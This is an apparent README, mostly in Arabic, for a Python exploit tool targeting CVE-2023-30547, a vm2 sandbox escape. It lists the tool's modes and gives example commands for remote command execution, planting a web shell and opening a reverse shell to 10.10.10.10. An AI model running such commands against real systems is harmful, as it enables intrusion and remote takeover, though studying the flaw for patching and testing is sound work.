
أداة لاستكشاف CVE-2023-30547

vm2 هو صندوق رمل يمكنه تشغيل كود غير موثوق به مع وحدات Node المدمجة المدرجة في القائمة البيضاء. توجد ثغرة في تنقية الاستثناءات في vm2 للإصدارات حتى 3.9.16، مما يسمح للمهاجمين بإثارة استثناء مضيف غير منقى داخل handleException() والذي يمكن استخدامه للهروب من الصندوق الرمل وتشغيل كود عشوائي في سياق المضيف.
هذه الأداة هي نص برمجي بسيط بلغة بايثون يمكن استخدامه لاستكشاف الثغرة. لديها 4 أوضاع:
check: يتحقق مما إذا كان الهدف ضعيفًا.command_execution_execution: ينفذ أمرًا على الهدف.web_shell: يفتح ويب شيل على الهدف.reverse_shell: يفتح ريفيرس شيل على الهدف.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'